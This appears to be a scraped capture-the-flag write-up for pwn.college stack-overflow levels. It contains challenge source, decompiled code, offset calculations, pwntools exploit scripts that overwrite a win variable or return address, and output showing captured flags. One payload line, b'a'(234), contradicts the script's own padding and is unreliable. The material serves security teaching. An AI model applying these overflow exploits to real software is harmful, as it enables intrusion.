puts(" But be careful! There is also a LOSE variable. If this variable ends up non-zero, the program will terminate and you"); puts("will not get the flag. Be careful not to overwrite this variable.\n"); printf("The \"lose\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.lose_variable, ((unsigned long) &data.lose_variable) - ((unsigned long) &data.input));
puts("We have disabled the following standard memory corruption mitigations for this challenge:"); puts("- the binary is *not* position independent. This means that it will be"); puts("located at the same spot every time it is run, which means that by"); puts("analyzing the binary (using objdump or reading this output), you can"); puts("know the exact value that you need to overwrite the return address with.\n");
FIND_CANARY(cp_, cv_, bp_);
size = 4096;
printf("You have chosen to send %lu bytes of input!\n", size); printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input); printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 107);
printf("Send your payload (up to %lu bytes)!\n", size); int received = read(0, &data.input, (unsigned long) size);
if (received < 0) { printf("ERROR: Failed to read input -- %s!\n", strerror(errno)); exit(1); }
printf("You sent %d bytes!\n", received);
printf("Let's see what happened with the stack:\n\n"); DUMP_STACK(sp_, sz_);
printf("The program's memory status:\n"); printf("- the input buffer starts at %p\n", &data.input); printf("- the saved frame pointer (of main) is at %p\n", bp_); printf("- the saved return address (previously to main) is at %p\n", rp_); printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_)); printf("- the canary is stored at %p.\n", cp_); printf("- the canary value is now %p.\n", *(unsigned long*)(cp_)); printf("- the address of the win variable is %p.\n", &data.win_variable); printf("- the value of the win variable is 0x%x.\n", data.win_variable); printf("- the address of the lose variable is %p.\n", &data.lose_variable); printf("- the value of the lose variable is 0x%x.\n", data.lose_variable); printf("\n");
if (data.lose_variable) { puts("Lose variable is set! Quitting!"); exit(1); } if (data.win_variable == 1527932132) { win(); }
__int64 challenge() { int *v0; // rax char *v1; // rax int buf[24]; // [rsp+30h] [rbp-70h] BYREF int v4; // [rsp+90h] [rbp-10h] unsigned __int64 v5; // [rsp+98h] [rbp-8h]
v5 = __readfsqword(0x28u); memset(buf, 0, sizeof(buf)); v4 = 0; printf("Send your payload (up to %lu bytes)!\n", 4096LL); if ( (int)read(0, buf, 0x1000uLL) < 0 ) { v0 = __errno_location(); v1 = strerror(*v0); printf("ERROR: Failed to read input -- %s!\n", v1); exit(1); } if ( v4 ) { puts("Lose variable is set! Quitting!"); exit(1); } if ( buf[23] == 443627862 ) win(); puts("Goodbye!"); return 0LL; }
ok , set buf[23] =443627862 and make v4 == 0
0x70 - 0x10 = 0x60 =96
payload = b’a’(234) + p32(443627862) + p32(0)
1 2 3 4 5 6 7 8 9
from pwn import * context = ('/challenge/binary-exploitation-var-control') p = process('/challenge/binary-exploitation-var-control') p.recvuntil(b"Send your payload ") payload = b'a'*(23*4) payload += p32(443627862) payload += p32(0) p.send(payload) p.interactive()
python3 1.py
1 2 3 4 5 6 7
hacker@binary-exploitation~variable-control-hard:~/leap$ python3 1.py [+] Starting local process '/challenge/binary-exploitation-var-control': pid 1751 [*] Switching to interactive mode (up to 4096 bytes)! [*] Process '/challenge/binary-exploitation-var-control' stopped with exit code 0 (pid 1751) You win! Here is your flag: pwn.college{AinQMh8z1381pQlXAs_PHI-Ull5.QX4UzMzwSNzEDO0EzW}
void win() { static char flag[256]; static int flag_fd; static int flag_length;
puts("You win! Here is your flag:"); flag_fd = open("/flag", 0); if (flag_fd < 0) { printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno)); if (geteuid() != 0) { printf(" Your effective user id is not 0!\n"); printf(" You must directly run the suid binary in order to have the correct permissions!\n"); } exit(-1); } flag_length = read(flag_fd, flag, sizeof(flag)); if (flag_length <= 0) { printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno)); exit(-1); } write(1, flag, flag_length); printf("\n\n"); }
int challenge(int argc, char **argv, char **envp) { struct { char input[111]; } data = {0} ;
unsigned long size = 0;
puts("The challenge() function has just been launched!");
GET_FRAME_WORDS(sz_, sp_, bp_, rp_); puts("Before we do anything, let's take a look at challenge()'s stack frame:"); DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_); printf("including the saved base pointer and the saved return address, for a\n"); printf("total of %d bytes.\n", sz_ * 8); printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input); printf("(\"above\" it in the stack are other local variables used by the function).\n"); printf("Your input will be read into this buffer.\n"); printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 111); printf("large input length, and thus overflow the buffer.\n\n");
printf("In this level, there is no \"win\" variable.\n"); printf("You will need to force the program to execute the win() function\n"); printf("by directly overflowing into the stored return address back to main,\n"); printf("which is stored at %p, %d bytes after the start of your input buffer.\n", rp_, rp_ - (unsigned long) &data.input); printf("That means that you will need to input at least %d bytes (%d to fill the buffer,\n", rp_ + 8 - (unsigned long) &data.input, 111); printf("%d to fill other stuff stored between the buffer and the return address,\n", rp_ - (unsigned long) &data.input - 111); printf("and 8 that will overwrite the return address).\n\n");
puts("We have disabled the following standard memory corruption mitigations for this challenge:"); puts("- the canary is disabled, otherwise you would corrupt it before"); puts("overwriting the return address, and the program would abort."); puts("- the binary is *not* position independent. This means that it will be"); puts("located at the same spot every time it is run, which means that by"); puts("analyzing the binary (using objdump or reading this output), you can"); puts("know the exact value that you need to overwrite the return address with.\n");
size = 4096;
printf("You have chosen to send %lu bytes of input!\n", size); printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input); printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 111);
printf("Of these, you will overwrite %d bytes into the return address.\n", (long)((unsigned long) &data.input + size - rp_)); printf("If that number is greater than 8, you will overwrite the entire return address.\n\n");
printf("You will want to overwrite the return value from challenge()\n"); printf("(located at %p, %d bytes past the start of the input buffer)\n", rp_, rp_ - (unsigned long) &data.input); printf("with %p, which is the address of the win() function.\n", win); printf("This will cause challenge() to return directly into the win() function,\n"); printf("which will in turn give you the flag.\n"); printf("Keep in mind that you will need to write the address of the win() function\n"); printf("in little-endian (bytes backwards) so that it is interpreted properly.\n\n");
printf("Send your payload (up to %lu bytes)!\n", size); int received = read(0, &data.input, (unsigned long) size);
if (received < 0) { printf("ERROR: Failed to read input -- %s!\n", strerror(errno)); exit(1); }
printf("You sent %d bytes!\n", received);
printf("Let's see what happened with the stack:\n\n"); DUMP_STACK(sp_, sz_);
printf("The program's memory status:\n"); printf("- the input buffer starts at %p\n", &data.input); printf("- the saved frame pointer (of main) is at %p\n", bp_); printf("- the saved return address (previously to main) is at %p\n", rp_); printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_)); printf("- the address of win() is %p.\n", win); printf("\n");
printf("If you have managed to overwrite the return address with the correct value,\n"); printf("challenge() will jump straight to win() when it returns.\n"); printf("Let's try it now!\n\n", 0);
text:0000000000401D31 ; } // starts at 401256 .text:0000000000401D31 bin_padding endp .text:0000000000401D31 .text:0000000000401D32 .text:0000000000401D32 ; =============== S U B R O U T I N E ======================================= .text:0000000000401D32 .text:0000000000401D32 ; Attributes: bp-based frame .text:0000000000401D32 .text:0000000000401D32 ; int win() .text:0000000000401D32 public win .text:0000000000401D32 win proc near
hacker@binary-exploitation~pies-hard:~$ /run/dojo/bin/python3.12 /home/hacker/leap/1.py [*] '/challenge/binary-exploitation-pie-overflow' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No [+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49727 [*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 49727) [+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49729 [*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 49729) [+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49731 [*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 49731) [+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49733 [*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 49733) [+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49735 [*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 49735) [+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49737 [*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -11 (SIGSEGV) (pid 49737) [+] Starting local process '/challenge/binary-exploitation-pie-overflow': pid 49739 [*] Process '/challenge/binary-exploitation-pie-overflow' stopped with exit code -7 (SIGBUS) (pid 49739) Goodbye! You win! Here is your flag: pwn.college{gLGAW-5OC49EAq9R3_872l3GXQr.dJDMzwSNzEDO0EzW}
which is stored at 0x7fff2ef36c68, 72 bytes after the start of your input buffer.
That means that you will need to input at least 80 bytes (28 to fill the buffer,
44 to fill other stuff stored between the buffer and the return address,
and 8 that will overwrite the return address).
at the source code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
struct { char input[28]; } data = {0} ;
size = 4096; ...... char *tmp_input = malloc(size); assert(tmp_input != 0); printf("Send your payload (up to %lu bytes)!\n", size); int received = read(0, tmp_input, (unsigned long) size); puts("Checking length of received string..."); size_t string_length = strlen(tmp_input); assert(string_length < 28); printf("Passed! We should have enough space for all %d bytes of it on the stack. Copying all %d received bytes!\n", string_length, received); memcpy(&data.input, tmp_input, received);
it check the len of string , put ‘\0’ before the 27th byte
p.send(shellcode) p.recvuntil(b'Press enter to continue!\n') p.send(b'\n') p.recvuntil(b'Send your payload (up to 4096 bytes)!\n') #out += p.recv(timeout=0.2) #if b'pwn' in out : #break #print(out)
p.send(shellcode) p.recvuntil(b'Press enter to continue!\n') p.send(b'\n') p.recvuntil(b'Send your payload (up to 4096 bytes)!\n') #out += p.recv(timeout=0.2) #if b'pwn' in out : #break #print(out)
#p.send(shellcode) #p.send(b'\n') #p.recvuntil(b'Send your payload (up to 4096 bytes)!\n') #out += p.recv(timeout=0.2) #if b'pwn' in out : #break #print(out)